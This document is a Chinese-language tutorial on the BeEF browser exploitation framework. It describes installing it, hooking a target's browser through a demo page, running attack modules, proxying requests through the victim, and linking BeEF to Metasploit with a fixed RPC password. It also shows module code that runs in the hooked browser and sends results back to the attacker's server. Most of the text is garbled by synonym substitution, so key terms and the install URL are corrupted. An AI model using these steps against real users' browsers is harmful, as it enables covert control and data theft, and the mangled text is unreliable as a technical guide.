1、BeEF簡介
BeEF是瀏覽器報(bào)復(fù)打擊框架的簡稱,是一款專注于瀏覽器端的滲入測試東西??稍谄涔倬W(wǎng)找到更具體的介紹http://beefproject.com/。
2、安裝BeEF
先下載Beef最新版本
$ svn checkout http://beef.谷歌code.com/svn/track/ beef
$ ruby install
選擇第一項(xiàng)主動安裝需要的相干gems便可,也能夠選擇2遵循提示一個(gè)一個(gè)進(jìn)行安裝,安裝完成后便可以直接啟動了
$ ruby beef -x
3、利用申明
3.1 啟動BeEF
安裝完成后,啟動BeEF
#./beef

號令行中顯示的UI URL今后即為WEB接口,用瀏覽器打開,輸進(jìn)默許暗碼beef/beef,便可進(jìn)進(jìn)BeEF治理頁面
遵循提示,假定此時(shí)方針192.168.11.1的辦事器拜候了這個(gè)demo頁面
http://192.168.11.152:3000/demos/basic.html。則就被hook上了,以下圖所示

3.2 實(shí)施報(bào)復(fù)打擊
HOOK延續(xù)的時(shí)候?yàn)榉怄i測試頁面為止。在此期間,相當(dāng)于被節(jié)制了,可以發(fā)送報(bào)復(fù)打擊號令了。選擇commands欄,可以看到良多已分好類的報(bào)復(fù)打擊模塊。
此中,4種色彩別離暗示:
該報(bào)復(fù)打擊模塊可用,且埋沒性強(qiáng)
該報(bào)復(fù)打擊模塊可用,但埋沒性查
該用戶模塊是不是可用還有待驗(yàn)證
該報(bào)復(fù)打擊模塊不成用

例如,拔取MISC下的Raw JavaScript模塊作為測試用例,右端表格有該模塊的具體申明,和一些可選的參數(shù)等。輸進(jìn)Javascript code,點(diǎn)擊Excute進(jìn)行報(bào)復(fù)打擊,結(jié)果以下圖所示

3.3 Proxy功能
選中方針主機(jī),點(diǎn)右鍵,在菜單當(dāng)選中Use as Proxy
然后再Rider選項(xiàng)卡中的Forge Request 編纂并發(fā)送想要發(fā)送的內(nèi)容

經(jīng)由過程查看方針瀏覽器firebug記實(shí),可以確信確切發(fā)送了該http,達(dá)到了代辦署理結(jié)果。同時(shí)Rider下的History選項(xiàng)也記實(shí)了發(fā)送汗青記實(shí)
4、Metasploit組合
因?yàn)锽eEF默許是不加載metasploit的,要利用Metasploit豐碩的報(bào)復(fù)打擊模塊,需要做些建設(shè)。BT5下,起首到beef目次下點(diǎn)竄/pentest/web/beef/config.yaml文件,將此中的metasploit選項(xiàng)改成enable,以下所示:

然后查看/pentest/web/beef/extensions/metasploit/config.yaml。查看到此中的pass默覺得abc123,這是與metasploit通信商定的暗碼。轉(zhuǎn)到msf目次 /opt/metasploit/msf3/。新建一個(gè) beef.rc文件,內(nèi)容為
load msgrpc ServerHost=127.0.0.1 Pass=abc123
從而實(shí)現(xiàn)與beef的通信。啟動msfconsole,
#msfconsole –r beef.rc,以下圖所示,順利啟動辦事。

此刻可以啟動beef了,啟動后,可以看到BEEF加載了204個(gè)metasploit的報(bào)復(fù)打擊模塊

頁面如圖,此刻可利用metasploit的模塊進(jìn)行報(bào)復(fù)打擊了。

5、實(shí)現(xiàn)道理
5.1 簡述
BEEF 采取ruby說話編寫,其目次布局以下所示:
除往一些安裝和申明文件,Beef最首要的目次有三個(gè),core、extension和modules。BEEF的核心文件在core目次下,各類擴(kuò)大功能在extension目次下,modules則為報(bào)復(fù)打擊模塊目次。
5.2 Core
Core目次是BEEF的核心目次,并負(fù)責(zé)加載extension和module。此中最關(guān)頭的文件位于core\main目次下,其文件布局以下所示:
Client目次下均為js文件,是在受控客戶端(hooked browser)利用的js文件,包含net、browser、encode、os等的實(shí)現(xiàn),以update.js為例,在core\main\client\update.js中可以看到,定義了beef.updater,設(shè)置每隔5秒check一次是不是有新的號令,假定有,則獲得并履行之。
Console目次用于號令行節(jié)制
Constants目次定義了各類常量
Handlers目次首要用于措置來自受控客戶端連接要求。
Models 定義了一些根基的類
Rest目次:即WEB辦事基于REST原則,是一種輕量級的HTTP實(shí)現(xiàn)。 在server.rb中可看到,是經(jīng)由過程mount的情勢將資本與URL相對應(yīng),即它不是一個(gè)簡單的WEB目次辦事,任何需要http辦事的資本,都需要先mount才能利用。
def mount(url, http_handler_class, args = nil)
# argument type checking
raise Exception::TypeError, ‘”url” needs to be a string’ if not url.string?
if args == nil
mounts[url] = http_handler_class
else
mounts[url] = http_handler_class, *args
end
print_debug(“Server: mounted handler ‘#{url}’”)
end
………
self.mount(“/init”, BeEF::Core::Handlers::BrowserDetails)
………
# Rack mount points
@rack_app = Rack::URLMap.new(@mounts)
………
# Create the BeEF http server
@http_server = Thin::Server.new(
@configuration.get(‘beef.http.host’),
@configuration.get(‘beef.http.port’),
@rack_app)
5.3 extensions
Extention目次下為各類擴(kuò)大利用
此中幾個(gè)extension的感化以下:
Admin_ui: 實(shí)現(xiàn)了一個(gè)WEB界面的節(jié)制后臺。
Metasploit: 與metasploit互通相干的設(shè)置。
Requester: 負(fù)責(zé)措置HTTP要求,其文件以下所示:
此中:
Extension.rb 是每個(gè)擴(kuò)大必有的文件,是加載該擴(kuò)大的接口文件。
Config.yaml為作者和該擴(kuò)大相干信息。
Api.rb為本身注冊的一些API函數(shù)。
Models定義了一個(gè)http模型對象,例如,此中有個(gè)has_run屬性,當(dāng)要求未發(fā)送時(shí),其值為”waiting”,發(fā)送報(bào)復(fù)打擊時(shí),遍歷狀況為”waiting”的模塊,并發(fā)送http要求。
Handler.rb 主如果措置http響應(yīng),收到響應(yīng)后將響應(yīng)的模塊has_run狀況置為complete,并保留到數(shù)據(jù)庫。
5.4 modules
Modules調(diào)集了BEEF的各個(gè)報(bào)復(fù)打擊模塊,一般一個(gè)報(bào)復(fù)打擊模塊分為3個(gè)文件:command.js、config.yaml、module.rb。如許的布局可以很便利地進(jìn)行模塊添加,易于擴(kuò)大。
Config.yaml: 報(bào)復(fù)打擊模塊相干信息,如名稱、描述、分類、作者、合用處景等
Module.rb:文件定義了該報(bào)復(fù)打擊模塊的類,繼續(xù)了BEFF::Core::Command類,在通用command類的根本上定義一些該模塊獨(dú)有的措置函數(shù),如利用較多的一個(gè)函數(shù)是post_execute,即報(bào)復(fù)打擊進(jìn)行掉隊(duì)行的把持(通常是保留成果),以下所示。
class Browser_fingerprinting def post_execute content = {} content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil? content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil? if content.empty? content['fail'] = ‘Failed to fingerprint browser.’ end save content end end Command.js: 即為報(bào)復(fù)打擊代碼,報(bào)復(fù)打擊時(shí)讀取此js并發(fā)送給受控客戶端。以detect_firebug模塊的command.js為例,代碼以下所示: beef.execute(function() { var result = “Not in use or not installed”; if (window.console &&(window.console.firebug || window.console.exception)) result = “Enabled and in use!”; beef.net.send(“”, , “firebug=”+result); }); 代碼很簡單,在受控客戶端履行獲得成果以后,將成果返回給server端。Beef.net在core/main/client目次下定義。 在 Core目次下的Command.rb中,可以看到加載過程,起首鑒定該報(bào)復(fù)打擊模塊的command.js是不是存在,如存在,就讀取到@eruby,可能還需要進(jìn)行參數(shù)替代,所以需要進(jìn)行evaluate把持。 def output f = @path+’command.js’ (print_error “#{f} file does not exist”;return) if not File.exists? f command = BeEF::Core::Models::Command.first(:id => @command_id) @eruby = Erubis::FastEruby.new(File.read(f)) data = BeEF::Core::Configuration.instance.get(“beef.module.#{@key}”) cc = BeEF::Core::CommandContext.new cc['command_url'] = @default_command_url cc['command_id'] = @command_id JSON.parse(command['data']).each{|v| cc[v['name']] = v['value'] } if self.respond_to?(:execute) self.execute end @output = @eruby.evaluate(cc) @output end